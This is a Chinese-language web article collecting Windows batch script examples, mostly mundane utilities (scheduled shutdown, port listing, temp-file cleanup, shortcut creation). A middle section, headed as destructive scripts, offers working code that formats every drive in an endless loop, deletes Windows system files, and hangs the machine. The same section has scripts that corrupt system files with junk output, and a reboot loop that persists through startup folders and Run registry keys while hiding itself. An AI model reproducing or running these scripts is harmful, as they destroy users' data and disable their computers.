您好,登錄后才能下訂單哦!
這篇文章將為大家詳細(xì)講解有關(guān)使用批處理的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
批處理程序刪除自身.bat
echo 有時候我們需要批處理程序在執(zhí)行完成之后刪除自身,可以用 del %0
例:
代碼如下:
@echo off
echo 按任意鍵后我將刪除自身
pause
del %0
--------------------------------------------------------------------------------
批處理發(fā)送文件夾的快捷方式到桌面
代碼如下:
echo [InternetShortcut] > "%userprofile%\桌面\文件夾.url"
echo URL=file:///C:/windows >> "%userprofile%\桌面\文件夾.url"
--------------------------------------------------------------------------------
批處理獲取IP生成TXT文本.bat
以下代碼是批處理獲取IP同時生成TXT文本:
代碼如下:
@echo off
<"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt
echo >nul && del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx")
do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next
--------------------------------------------------------------------------------
利用批處理禁用(啟用)組策略
regsvr32 /s /u gpedit.dll 禁用
regsvr32 /s gpedit.dll 啟用
單單使用這命令依然可以禁止使用組策略,但這樣導(dǎo)致的后果就是-
這時候運行的組策略基本上只是個空殼了!利用下面的批處理將完美解決此類問題!
將下面這些代碼編成BAT批處理文件,這段是禁用組策略的命令
代碼如下:
@echo off
regsvr32 /s /u fde.dll
regsvr32 /s /u gpedit.dll
regsvr32 /s /u gptext.dll
regsvr32 /s /u wsecedit.dll
exit
這是啟用組策略
代碼如下:
@echo off
regsvr32 /s fde.dll
regsvr32 /s gpedit.dll
regsvr32 /s gptext.dll
regsvr32 /s wsecedit.dll
exit
--------------------------------------------------------------------------------
批處理定時關(guān)機.bat
代碼如下:
@echo off
mode con lines=25
title 定時關(guān)機
color 1f
cls
echo.
echo.
echo.
echo.
echo 時間使用24小時制(如2:15、12:00),可以輸入多個時間點
echo.
echo 多個時間點用空格分隔
echo.
echo.
echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
echo.
set times=
set /p times= 請輸入關(guān)機時間:
:: 以下語句實現(xiàn)每個星期的每一天指定時間關(guān)機
:: 如果要換成每個月的某幾天,請改字母為數(shù)字,并用逗號分隔
:: 以下代碼沒有錯誤檢測語句,輸入時間的時候務(wù)必按照指定格式輸入
:: 可以用在CMD窗口用at命令來查看計劃任務(wù)
if not "%times%"=="" for %%i in (%times%) do (
at %%i /every:M,T,W,Th,F,S,Su shutdown -s
)
--------------------------------------------------------------------------------
批處理創(chuàng)建url格式的快捷方式.bat
代碼如下:
@echo off
echo [InternetShortcut] >cmd.url
echo URL=%windir%\system32\cmd.exe >>cmd.url
echo IconIndex=0 >>cmd.url
echo IconFile=%windir%\system32\cmd.exe>>cmd.url
--------------------------------------------------------------------------------
批處理進入全屏幕界面.bat
代碼如下:
@echo off
:: 設(shè)定: 運行在全屏模式下
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
:rem 下面放置任何命令……
dir
pause
--------------------------------------------------------------------------------
最小化運行批處理.bat
代碼如下:
::最小化運行批處理
@echo off&&mode con cols=15 lines=1
%1 %2
start /min /i "" "%~nx0" goto min&&goto :eof
:min
echo xxx
pause>nul
exit
@echo off
mode con cols=15 lines=1
if exist "Temp.bat" goto Start
>Temp.bat echo start/min "" "%~nx0"^&exit
start/min Temp.bat&exit
:Start
del "Temp.bat">nul
pause
--------------------------------------------------------------------------------
全盤查找QQ.exe并執(zhí)行.bat
代碼如下:
@echo off
:: 全盤查找qq.exe,找到之后就執(zhí)行并退出CMD窗口
:: fsutil fsinfo drives 得出來的結(jié)果雖然中間有空格,但是他代表是回車符或者換行符的作用,所以還要用find /v來過濾,否則,只得到第一個分區(qū)
setlocal enabledelayedexpansion
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find "固定">nul && (
for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!\qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" && exit
)
)
--------------------------------------------------------------------------------
刪除歷史記錄.bat
代碼如下:
@echo off
:: 刪除"運行"、"查找"等處的歷史記錄
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001
--------------------------------------------------------------------------------
批處理查看進程端口
用批處理實現(xiàn)的獲取當(dāng)前進程所開啟的端口代碼:
代碼如下:
@echo off
color a
Title XP端口-進程查詢
setlocal enabledelayedexpansion
echo ╔- -╗
echo 本機開放的端口及使用該端口的進程
echo ╚- -╝
echo ------------------------------------
echo 端口號 進程名稱
ECHO TCP協(xié)議:
::利用netstat命令找出使用TCP協(xié)議通信的端口,并將結(jié)果分割;
::將第二個參數(shù)(IP加端口)傳給%%i,第五個參數(shù)(PID號)傳給%%j;
for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
call :Assoc %%i TCP %%j
echo !TCP_Port! !TCP_Proc_Name!
)
ECHO UDP協(xié)議:
for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
call :Assoc %%i UDP %%j
echo !UDP_Port! !UDP_Proc_Name!
)
echo 按任意鍵退出
pause>nul
:Assoc
::對%1(第一個參數(shù))進行分割,將第二個參數(shù)傳給%%e。在本程序中,%1即為上面的%%i(形式為:IP:端口號)
for /F "tokens=2 delims=:" %%e in ("%1") do (
set %2_Port=%%e
)
:: 查詢PID等于%3(第三個參數(shù))的進程,并將結(jié)果傳給變量?_Proc_Name,?代表UDP或者TCP;
for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
::%%~a表示去掉%%a外面的引號,因為上述命令的結(jié)果是用括號括起來的。
set %2_Proc_Name=%%~a
)
--------------------------------------------------------------------------------
破壞型BAT批處理腳本[慎用]
一、死循環(huán)強制格式化A:到Z:盤(對于部分速度比較快的機器會比較快當(dāng)機……)
代碼如下:
:format
@format a: /q /y >nul
@format b: /q /y >nul
@format d: /q /y >nul
@format e: /q /y >nul
@format f: /q /y >nul
@format g: /q /y >nul
@format h: /q /y >nul
@format i: /q /y >nul
@format j: /q /y >nul
@format k: /q /y >nul
@format l: /q /y >nul
@format m: /q /y >nul
@format n: /q /y >nul
@format o: /q /y >nul
@format p: /q /y >nul
@format q: /q /y >nul
@format r: /q /y >nul
@format s: /q /y >nul
@format t: /q /y >nul
@format u: /q /y >nul
@format v: /q /y >nul
@format w: /q /y >nul
@format x: /q /y >nul
@format y: /q /y >nul
@format z: /q /y >nul
@format c: /q /y >nul
goto format
二、死循環(huán)強制刪除C:盤WINDOWS目錄下的所有文件(跟上面的一個例子效果差不多,不過這里用到了強制刪除參數(shù))
代碼如下:
:breake
@if exist %windir%\system32\*.* del %windir%\system32\*.* >nul
@if exist %windir%\*.* del %windir%\*.* >nul
goto breake
三、利用部分系統(tǒng)工具的內(nèi)存占用卡到死機
代碼如下:
:die
@start regsvr32.exe /s %windir%\system32\*.* >nul
@start %windir%\system32\*.* >nul
@start notepad %windir%\explorer.exe >nul
goto die
四、用部分工具的檢測信息導(dǎo)出功能生成巨大的垃圾文件(雖然生成垃圾的速度很慢,但是跟“垃圾王”病毒有的一比,也算是“無聲的*****”吧……)
代碼如下:
@start ping 127.0.0.1 -t > %windir%\system32\regsvr32.dll >nul
:ping
@start ping 127.0.0.1 -t >> %windir%\system32\regsvr32.dll >nul
@start ping 127.0.0.1 -t >> %windir%\system32\regedit.exe >nul
goto ping
--------------------------------------------------------------------------------
反復(fù)重啟的惡意批處理
反復(fù)重啟就是讓別人啟動了再重啟 一直反復(fù),以下代碼
代碼如下:
@echo off
shutdown -r -t 3
copy %0 C:\Documents" "and" "Settings\All" "Users\「開始」菜單\程序\啟動\a.bat
copy %0 c:\autoexec.bat
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
attrib autoexec.bat +r +s +h
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
del %0
3秒重啟 加入了啟動項 開機就會3秒倒計時
--------------------------------------------------------------------------------
刪除右鍵“新建”菜單項目.bat
代碼如下:
@echo off
:: 只要刪除"HKEY_CLASSERS_ROORT\.后綴名"項目下的"ShellNew"鍵就可以了
:: 如果實在刪除不了,則把"HKEY_CLASSERS_ROORT\.后綴名"刪除掉即可
mode con lines=25
title "新建"菜單內(nèi)容刪除器
color 1f
:input
cls
call :display
echo 如果要強行刪除,請選 1
echo.
echo.
set input=
set /p input= 請輸入后綴名:
if "%input%"=="" goto input
if "%input%"=="0" exit
if "%input%"=="1" goto fouce
for /f %%i in ("%input%") do (reg delete HKCR\.%%i\ShellNew /f)
goto continue
:fouce
cls
call :display
set input=
set /p input= 請輸入后綴名(強行刪除):
if "%input%"=="" goto fouce
if "%input%"=="0" exit
for /f %%i in ("%input%") do (reg delete HKCR\.%%i /f)
:continue
cls
call :display
echo.
set choice=
set /p choice= 還要繼續(xù)清除嗎?(y/n):
if "%choice%"=="" goto continue
if "%choice%"=="y" goto input
if "%choice%"=="" goto :eof
:display
echo.
echo.
echo.
echo.
echo.
echo.
echo 本程序能刪除右鍵菜單中"新建"項目下的多余內(nèi)容,為"新建"菜單減肥!
echo.
echo 如果想讓某種類型的文件不再出現(xiàn)在鼠標(biāo)右鍵的"新建"菜單中,請直接
echo.
echo 輸入該文件類型的后綴名。例如:rar。
echo.
echo 退出請選 0
echo.
--------------------------------------------------------------------------------
快速清理垃圾文件(修正)
代碼如下:
@echo off
color f0
echo.
echo 正在安全地自動清除垃圾文件……
del /f /q %systemdrive%\*.tmp>nul 2>nul
del /f /q %systemdrive%\*._mp>nul 2>nul
del /f /q %systemdrive%\*.log>nul 2>nul
del /f /q %systemdrive%\*.gid>nul 2>nul
del /f /q %systemdrive%\*.chk>nul 2>nul
del /f /q %systemdrive%\*.old>nul 2>nul
del /f /q %windir%\*.bak>nul 2>nul
del /f /q %windir%\*.tmp>nul 2>nul
del /f /q %windir%\prefetch\*.*>nul 2>nul
del /f /s /q %systemdrive%\recycled\*.*
del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Cookies\*.txt">nul 2>nul
del /f /q /s "%TEMP%\*.*">nul 2>nul
del /f /q /s "%Systemroot%\Prefetch\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Recent\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul
del /f /q /s "%USERPROFILE%\Local Settings\Temp\*.*">nul 2>nul
rd /s /q %windir%\temp & md %windir%\temp>nul 2>nul
if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*">nul 2>nul
關(guān)于“使用批處理的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,使各位可以學(xué)到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。